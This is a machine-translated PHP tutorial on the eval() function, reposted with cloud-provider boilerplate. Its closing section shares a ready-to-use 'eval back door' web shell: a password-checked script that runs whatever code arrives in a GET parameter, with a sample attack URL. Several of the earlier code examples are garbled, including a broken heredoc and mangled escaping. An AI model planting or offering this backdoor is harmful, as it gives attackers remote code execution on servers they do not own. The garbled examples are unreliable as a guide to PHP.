PHP eval Function Usage Introduction _php tutorial

Source: Internet
Author: User
Code:

Copy the Code code as follows:
Eval ("Echo ' Hello World ';");

The upper code is equivalent to the following code:

echo "Hello World";

Output in the browser: Hello World

Use eval () to note several points:

1.eval function arguments must have a semicolon at the end of the string, plus a semicolon at the end (this semicolon is a PHP limit)

2. Note the use of single quotes, double quotes and backslashes. If there is a variable in the argument, and the variable has an assignment operation, the $ symbol before the variable must have a \ to escape. If no assignment operation can be required.

Code:

Copy the Code code as follows:
$a = 100;
Eval ("echo$a;");

Because there is no assignment operation, you can escape $ without \. Equivalent to the following code:

Copy the Code code as follows:
$a = 100;
Eval ("echo\ $a;")

3. Note that there must be double quotation marks on either side of the command string (including semicolons) or single quotes as needed. Otherwise the error.

An imperative string is when you include commands such as Echo and print in a string.

If the argument has only one variable, you can use it. For example:

Copy the Code code as follows:
$func =<<<>
function Test () {
echo "Test eval function";
}
FUNC;
eval ($func);
Test ();

Share a PHP eval back door program

Requires that the Eval function be supported
How to use
Http://url/test.php?pwd=admin&action=eval&a=phpinfo ();

Copy the Code code as follows:
$passwd = "admin"; if ($_get[' pwd ']!= $passwd) exit;
if ($_get[' action ']== "eval" && $_get[' a ']) {eval ($_get[' a ']);}
?>

http://www.bkjia.com/PHPjc/621693.html www.bkjia.com true http://www.bkjia.com/PHPjc/621693.html techarticle Code: Copy the Code as follows: eval ("Echo ' Hello World ';"); the upper code is equivalent to the following code: echo "Hello World"; output in the browser: Hello World use eval () to pay attention to ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.